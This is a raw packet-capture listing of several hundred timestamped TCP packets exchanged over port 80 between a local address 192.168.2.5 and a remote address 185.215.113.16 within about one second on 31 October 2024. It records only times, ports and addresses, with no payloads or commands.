Oct 31, 2024 02:08:16.057730913 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.093456030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.093480110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.093494892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.093542099 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.093736887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.093753099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.093766928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.093792915 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.093832016 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.097177029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.097189903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.097254038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.097281933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.097296953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.097312927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.097327948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.097343922 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.097373009 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.097776890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.097794056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.097809076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.097850084 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.098100901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.098123074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.098138094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.098175049 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.098206043 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.137542963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.137778044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.137801886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.137819052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.137828112 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.137834072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.137852907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.137867928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.137890100 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.137890100 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.138098955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.138149023 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.138323069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.159243107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.159259081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.159275055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.159288883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.159296036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.159344912 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.174029112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.174043894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.174067974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.174082041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.174086094 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.174098969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.174113035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.174135923 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.210556984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.210573912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.210589886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.210603952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.210635900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.210652113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.210668087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.210701942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.210701942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.210935116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.210948944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.210994005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.214113951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.214127064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.214168072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.214178085 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.214191914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.214206934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.214214087 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.214251041 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.214540005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.214553118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.214606047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.214653015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.214703083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.214716911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.214732885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.214752913 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.214781046 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.215245962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.255585909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.255604982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.255624056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.255667925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.255676031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.255692005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.255707979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.255721092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.255729914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.255731106 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.255779028 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.276071072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.276097059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.276113987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.276130915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.276137114 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.276146889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.276174068 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.276350975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.276376009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.276391983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.276393890 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.276515007 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.291013956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.291028023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.291043043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.291060925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.291075945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.291158915 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.327385902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.327411890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.327428102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.327444077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.327460051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.327462912 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.327508926 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.327510118 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.327640057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.327655077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.327671051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.327702999 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.331165075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.331182003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.331199884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.331214905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.331223965 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.331229925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.331243992 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.331306934 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.331413984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.331604004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.331618071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.331643105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.331660032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.331712008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.331851006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.331975937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.331990957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.332014084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.332024097 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.332030058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.332067013 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.371717930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.371733904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.371748924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.371764898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.371803999 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.371851921 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.392997980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.393070936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.393085957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.393100977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.393117905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.393157005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.393229008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.393241882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.393287897 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.393467903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.393484116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.393498898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.393520117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.393536091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.393543005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.393573046 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.408056021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.408072948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.408087015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.408113956 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.408152103 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.444228888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.444245100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.444261074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.444303036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.444339991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.444355965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.444363117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.444399118 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.444428921 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.444642067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.444667101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.444680929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.444710970 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.444972992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.445033073 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.445264101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.447968006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.447985888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.447999954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.448021889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.448051929 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.448071003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.448129892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.448144913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.448174953 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.448436022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.448452950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.448467016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.448502064 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.448502064 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.448785067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.448807955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.448822975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.448856115 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.449083090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.449095964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.449139118 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.449266911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.449290037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.449312925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.488713980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.488742113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.488755941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.488765001 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.489018917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.509927034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.510091066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.510104895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.510121107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.510137081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.510148048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.510153055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.510194063 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.510194063 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.510445118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.510469913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.510484934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.510533094 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.510785103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.510802031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.510817051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.510829926 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.510862112 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.525067091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.525115013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.525130033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.525145054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.525160074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.525197029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.525258064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.525270939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.525314093 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.561167955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.561192036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.561217070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.561232090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.561247110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.561280966 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.561434031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.561435938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.561450005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.561465979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.561517954 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.561517954 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.564802885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.564861059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.564874887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.564899921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.564914942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.564924955 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.564955950 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.565193892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.565253019 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.565357924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.565371990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.565397024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.565411091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.565422058 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.565452099 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.565716982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.565733910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.565747976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.565779924 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.566020012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.566034079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.566090107 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.566162109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.566181898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.566252947 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.605509996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.605552912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.605567932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.605583906 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.605591059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.605607033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.605623007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.605631113 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.605705976 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.627021074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.627052069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.627065897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.627070904 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.627083063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.627098083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.627106905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.627192020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.627286911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.627489090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.627502918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.627562046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.627582073 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.627583027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.627599955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.627607107 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.627643108 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.641999960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.642026901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.642041922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.642242908 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.677990913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.678030968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.678045034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.678102970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.678117990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.678117037 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.678117037 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.678132057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.678196907 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.678525925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.678551912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.678565979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.678586006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.678602934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.678612947 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.678713083 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.681740046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.681796074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.681808949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.681833982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.681838989 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.681849003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.681864023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.681890965 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.681958914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:16.682305098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:16.682320118 CET	80	49712	185.215.113.16	192.168.2.5
